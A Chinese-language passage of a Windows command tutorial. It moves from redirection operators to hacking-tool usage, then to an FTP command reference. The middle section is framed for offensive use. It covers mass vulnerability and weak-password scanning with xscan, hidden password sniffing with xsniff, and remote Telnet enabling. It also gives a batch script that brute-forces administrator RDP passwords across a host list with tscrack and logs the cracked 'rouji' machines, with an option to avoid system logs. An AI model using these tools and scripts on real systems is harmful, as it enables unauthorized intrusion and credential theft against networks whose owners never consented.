    | 管道命令

    < 或 > 重定向命令。“<”,例如:tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令

    @ 表示执行@后面的命令,但不会显示出来(后台执行);例:@dir c:winnt >> d:log.txt 意思是:后台执行dir,并把结果存在d:log.txt中

    >与>>的区别 ">“指:覆盖;”>>"指:保存到(添加到)。

    如:@dir c:winnt >> d:log.txt和@dir c:winnt > d:log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。

    八:

    扫描工具:xscan.exe

    基本格式

    xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息

    xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息

    检测项目

    -active 检测主机是否存活

    -os 检测远程操作系统类型(通过NETBIOS和SNMP协议)

    -port 检测常用服务的端口状态

    -ftp 检测FTP弱口令

    -pub 检测FTP服务匿名用户写权限

    -pop3 检测POP3-Server弱口令

    -smtp 检测SMTP-Server漏洞

    -sql 检测SQL-Server弱口令

    -smb 检测NT-Server弱口令

    -iis 检测IIS编码/解码漏洞

    -cgi 检测CGI漏洞

    -nasl 加载Nessus攻击脚本

    -all 检测以上所有项目

    其它选项

    -i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取

    -l 显示所有网络适配器

    -v 显示详细扫描进度

    -p 跳过没有响应的主机

    -o 跳过没有检测到开放端口的主机

    -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10

    -log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)

    用法示例

    xscan -host 192.168.1.1-192.168.255.255 -all -active -p 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机

    xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机

    xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机

    九:

    命令行方式嗅探器: xsniff.exe

    可捕获局域网内FTP/SMTP/POP3/HTTP协议密码

    参数说明

    -tcp 输出TCP数据报

    -udp 输出UDP数据报

    -icmp 输出ICMP数据报

    -pass 过滤密码信息

    -hide 后台运行

    -host 解析主机名

    -addr IP地址 过滤IP地址

    -port 端口 过滤端口

    -log 文件名 将输出保存到文件

    -asc 以ASCII形式输出

    -hex 以16进制形式输出

    用法示例

    xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中

    xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出

    终端服务密码破解: tscrack.exe

    参数说明

    -h 显示使用帮助

    -v 显示版本信息

    -s 在屏幕上打出解密能力

    -b 密码错误时发出的声音

    -t 同是发出多个连接(多线程)

    -N Prevent System Log entries on targeted server

    -U 卸载移除tscrack组件

    -f 使用-f后面的密码

    -F 间隔时间(频率)

    -l 使用-l后面的用户名

    -w 使用-w后面的密码字典

    -p 使用-p后面的密码

    -D 登录主页面

    用法示例

    tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码

    tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户

    @if not exist ipcscan.txt goto noscan

    @for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i

    nscan

    @echo 3389.txt no find or scan faild

    (①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)

    3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat

    @if not exist tscrack.exe goto noscan

    @tscrack %1 -l administrator -w pass.dic >>rouji.txt

    :noscan

    @echo tscrack.exe no find or scan faild

    (②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了)

    hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt文件中。

    其它

    Shutdown.exe

    Shutdown IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)

    fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)

    fpipe -l 80 -s 1029 -r 80 当有人扫锚你的80端口时,他扫到的结果会完全是的主机信息

    Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。

    OpenTelnet.exe (远程开启telnet工具)

    opentelnet.exe IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet ip 连接上对方。

    NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。

    ResumeTelnet.exe (OpenTelnet附带的另一个工具)

    resumetelnet.exe IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。

    FTP命令详解

    FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。

    FTP的命令行格式为:

    ftp -v -d -i -n -g [主机名] ,其中

    -v 显示远程服务器的所有响应信息

    -n 限制ftp的自动登录,即不使用;.n etrc文件;

    -d 使用调试方式;

    -g 取消全局文件名。

    FTP使用的内部命令如下(中括号表示可选项):

    1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip

    2.$ macro-ame[args]: 执行宏定义macro-name。

    3.account[password]: 提供登录远程系统成功后访问系统资源所需的补充口令。

    4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。

    5.ascii:使用ascii类型传输方式。

    6.bell:每个命令执行完毕后计算机响铃一次。

    7.bin:使用二进制文件传输方式。

    8.bye:退出ftp会话过程。

    9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。

    10. cd remote-dir:进入远程主机目录。

    11.cdup:进入远程主机目录的父目录。

    12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。

    13.close:中断与远程服务器的ftp会话(与open对应)。

    14 .cr:使用asscii方式传输文件时,将回车换行转换为回行。

    15.delete remote-file:删除远程主机文件。

    16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。

    17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。

    18.disconnection:同close。

    19.form format:将文件传输方式设置为format,缺省为file方式。

    20.get remote-file[local-file]: 将远程主机的文件remote-file传至本地硬盘的local-file。

    21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。

    22.hash:每传输1024字节,显示一个hash符号(#)。

    23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。

    24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。

    25.image:设置二进制传输方式(同binary)。

    26.lcd[dir]:将本地工作目录切换至dir。

    27. ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。

    28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。

    29.mdelete[remote-file]:删除远程主机文件。

    30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir .o..zipoutfile 。

    31.mget remote-files:传输多个远程文件。

    32.mkdir dir-name:在远程主机中建一目录。

    33.mls remote-file local-file:同nlist,但可指定多个文件名。

    34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。

    35.modtime file-name:显示远程主机文件的最后修改时间。

    36.mput local-file:将多个文件传输至远程主机。

    37.newer file-name: 如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。

    38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。

    39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。 该命令特别适用于远程主机为非UNIX机的情况。

    40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。

    41.open host[port]:建立指定ftp服务器连接,可指定连接端口。

    42.passive:进入被动传输方式。

    43.prompt:设置多个文件传输时的交互提示。

    44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。

    45.put local-file[remote-file]:将本地文件local-file传送至远程主机。

    46.pwd:显示远程主机的当前工作目录。

    47.quit:同bye,退出ftp会话。

    48.quote arg1,arg2…:将参数逐字发至远程ftp服务器,如:quote syst.

    49.recv remote-file[local-file]:同get。

    50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。

    51.rhelp[cmd-name]:请求获得远程主机的帮助。

    52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。

    53.rename[from][to]:更改远程主机文件名。

    54.reset:清除回答队列。

    55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。

    56.rmdir dir-name:删除远程主机目录。

    57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。

    58.send local-file[remote-file]:同put。

    59.sendport:设置PORT命令的使用。

    60.site arg1,arg2…:将参数作为SITE命令逐字发送至远程ftp主机。

    61.size file-name:显示远程主机文件大小,如:site idle 7200。

    62.status:显示当前ftp状态。

    63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。

    64.sunique:将远程主机文件名存储设置为只一(与runique对应)。

    65.system:显示远程主机的操作系统类型。

    66.tenex:将文件传输类型设置为TENEX机的所需的类型。

    67.tick:设置传输时的字节计数器。

    68.trace:设置包跟踪。

    69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。

    70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3

    71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。

    72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.

    73.?[cmd]:同help.

    ps:由于编写仓促,以上命令不免会出现错误,请大家及时指正,谢谢!!!

    展开全文
  • windows批处理命令大全

    千次阅读 2021-06-30 13:08:31
    logoff:注销命令 explorer:打开资源管理器 perfmon:计算机性能监测器 PowerShell:提供强大远程处理能力 secpol.msc:本地安全策略 services.msc:本地服务设置 shrpubw:创建共享文件夹 taskschd.msc:...
  • Linux下根目录

    万次阅读 多人点赞 2018-08-20 17:54:25
    我们可以先看看根目录,所有目录都挂在根目录下,有且只有一个根目录,所有东西都从根目录开始,如果在终端输入/home,其实是告诉电脑从/(根目录)开始,再到home目录。 /是根目录,cd /进入根目录后,我们可以...
  • Windows 终端命令大全

    万次阅读 多人点赞 2018-09-12 20:18:44
    命令简介 cmd是command的缩写.即命令行 。 原地址:https://www.cnblogs.com/accumulater/p/7110811.html 虽然随着计算机产业的发展,Windows 操作系统的应用越来越广泛,DOS 面临着被淘汰的命运,但是因为它运行...
  • windows文件权限管理dos命令

    万次阅读 2019-07-15 13:07:31
    文章目录前言windows dos 文件权限操作命令:Icacls or Cacls。Cacls示例Icacls详细示例1.ICACLS /save & /restore2. ICACLS /setownerwindows sid 简介及相关的whoami dos命令3. ICACLS /findsid4. ICACLS /...
  • CentOS 7添加硬盘扩展根目录空间

    千次阅读 2019-09-02 07:05:43
    目前根目录只有10G的空间 第一步、给VMware虚拟机增加一块200G磁盘 打开虚拟机设置-->左下角添加-->选择硬盘-->磁盘类型选择“SCSI”-->选择“创建新虚拟磁盘”-->设置磁盘大小为100G,不要选择...
  • Linux ls命令:查看目录下文件

    千次阅读 2021-05-09 02:16:51
    通过学习cd和pwd命令,相信读者已经能够在庞大的Linux文件系统,随心所欲地游荡并确定自己所在的位置了。本节继续来学习,如何知道某目录中存放了哪些文件或子目录。ls命令,list的缩写,是最常见的目录操作命令,...
  • Windows常用shell命令

    万次阅读 多人点赞 2018-08-22 14:27:37
    CMD 命令速查手册 ASSOC 显示或修改文件扩展名关联。 ATTRIB 显示或更改文件属性。 BREAK 设置或清除扩展式 CTRL+C 检查。 BOOTCFG 设置 boot.ini 文件的属性以便控制...
  • Linux分区原理及根目录的介绍

    千次阅读 2018-04-19 11:26:07
    转载自 https://blog.csdn.net/zls986992484/article/details/52629055一、Linux分区原理为了更好的了解Linux的分区原理,我们可以先来...每个盘都有一个盘符,用来标记它是什么盘。我们把盘符和硬盘分区建立联系的...
  • windows运行命令大全

    万次阅读 多人点赞 2018-04-20 16:38:59
    DOS 面临着被淘汰的命运,但是因为它运行安全、稳定,有的用户还在使用,所以一般Windows 的各种版本都与其兼容,用户可以在Windows 系统下运行DOS,中文版Windows XP 命令提示符进一步提高了与DOS 下操作命令的...
  • 不论大小写命令后加一个空格 notepad 记事本 ~找到CMD,并以管理员身份运行。 1、 开启管理员账户,在命令提示符输入如下命令后回车: net user administrator /active:yes 2、 关闭管理员账户,在命令提示符...
  • 根分区和根目录

    千次阅读 2017-09-20 11:27:58
    根目录 :是最上边的一层的目录,它包含下边所有的目录,你可以吧你的整个硬盘都看成是根目录,然后里边放下便的其他目录,就是说根目录就像是一个大的容器,它包含着诸如etc,usr,bin等这些目录。   一般分区是这样...
  • Linux目录结构

    千次阅读 2021-05-10 15:53:48
    根目录下,linux系统将默认建立一些特殊的子目录,分别用于不同的用途。下面简单介绍一下其中常见的子目录及其作用:/boot:存放启动系统所必需的文件,包括内核文件、启动菜单配置文件等。出于系统安全考虑,“/...
  • Windows下如何改变目录

    千次阅读 2017-04-22 18:43:26
     值得明确的是:CD命令只能进入当前盘符的文件夹,改变操作的根目录(改变操作盘符),则不需用cd。例如你当前是在c:盘下,要到d:盘,只需键入d:回车就行了。  实例一:  现在的位置是C盘,如果需要进入C...
  • Windows下对目录建立软链接

    千次阅读 2016-05-02 18:02:55
    在Linux下,可以很方便的通过ln命令创建对文件和对文件夹的软链接。在Windows下,通过快捷方式,可以创建到文件和文件夹的链接,但是这软链接不是一个层面的上东西。软链接是底层文件系统层面的,而快捷方式为应用...
  • windows系统cmd的常用命令

    千次阅读 2022-02-28 19:25:24
    cd \ 直接回根目录 dir 当前根目录下的文件目录 dir /s 所有目录 dir/p 目录多的时候,p用来分屏,显示完一屏后停下来 dir/w 所有文件一屏内显示,只显示文件和子目录 dir *.bat 显示所有扩展名是bat的文件,*代表...
  • Windows批处理(.bat)常用命令教程

    万次阅读 2021-08-20 15:06:28
    批处理的语句不多,但是在某些时候,结合常用的一些cmd命令,可以解决很多重复性的工作。下面是一些对批处理命令的总结,如果需要学习的话,对这些关键字有个印象就可以了,如果忘记怎么用,可以使用关键字/?来获取...
  • linuxcentos系统目录的详细介绍

    千次阅读 2021-05-10 03:36:03
    下面以centos系统为例介绍下:为了更好的理解Red Hat Linux根目录”/“下各个系统文件夹的含义和用途,下面以红帽个人版为例,按各个文件夹的功能将根目录下文件夹分为以下四类:一、管理类文件夹:/root 系统管理员...
  • Windows CMD命令大全

    万次阅读 多人点赞 2018-12-08 16:49:53
    命令提示符是在操作系统,提示进行命令输入的一种工作提示符。在不同的操作系统环境下,命令提示符各不相同。 在windows环境下,命令行程序为cmd.exe,是一个32位的命令行程序,微软Windows系统基于Windows上的...
  • 操作系统: Windows10 64bit 虚拟机:CentOS7 linux安装httpd,做文件服务器 前提: 查看防火墙状态 systemctl status firewalld.service 关闭linux防火墙,不然windows无法访问,提示网络可能有问题:sudo systemctl...
  • Windows批处理(cmd/bat)常用命令教程

    千次阅读 2021-09-18 15:04:28
    常见问题: 1.如果你自己编写的.bat文件,双击打开,出现闪退 2.批处理.bat 文件输出中文乱码 解决方法在文章末尾!...在Windows中善用批处理可以简化很多重复工作 什么是批处理? 批处理(Batch)
  • 本文内容涵盖DOS窗口的打开方式以及常用DOS命令的输入,以便对电脑快速使用。 打开DOS命令的方式:Windows键 + R 进入运行界面输入 cmd 最后点击回车。 然后便进入DOS命令窗口。 *常用DOS命令集锦 ...
  • windows常用cmd命令

    万次阅读 多人点赞 2018-07-23 17:37:25
    注意:这些字符只能是英文的 命令 -help //第1种形式的使用帮助 命令 /? //第2种形式的使用帮助 常用基本命令 1,列出所有任务及进程号,杀进程 tasklist tasklist /?...2,cd切换目录 cd...
  • Windows系统有盘符的概念,如C盘、D盘,每个盘符下都有根目录,例如,C盘的根目录为c:\。Linux系统没有盘符的概念,只有一个根目录"/"。1.根目录尝试执行如下命令。ls -l /根目录下的所有内容如图1-53所示。图1...
  • 文章目录查看系统运行时间、版本等详细信息命令关机和重启方法windows_cmd命令大全简介使用说明CMD命令锦集操作详解FTP使用的内部命令如下(括号表示可选项): 查看系统运行时间、版本等详细信息 win+r→输入cmd ...
  • Windows - - cmd 命令行清空命令窗口及命令大全

    万次阅读 多人点赞 2018-10-11 15:28:44
    Windows 在使用cmd 命令行清空窗口里的信息 cls cmd 命令大全  1.... 2.... 3. Nslookup-------IP地址侦测器 ,是一个 监测网络 DNS 服务器是否能正确... 它在 Windows NT/2000/XP 均可使用 , 但在 Windows...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 86,172
精华内容 34,468
关键字:

windows中根目录由什么命令建立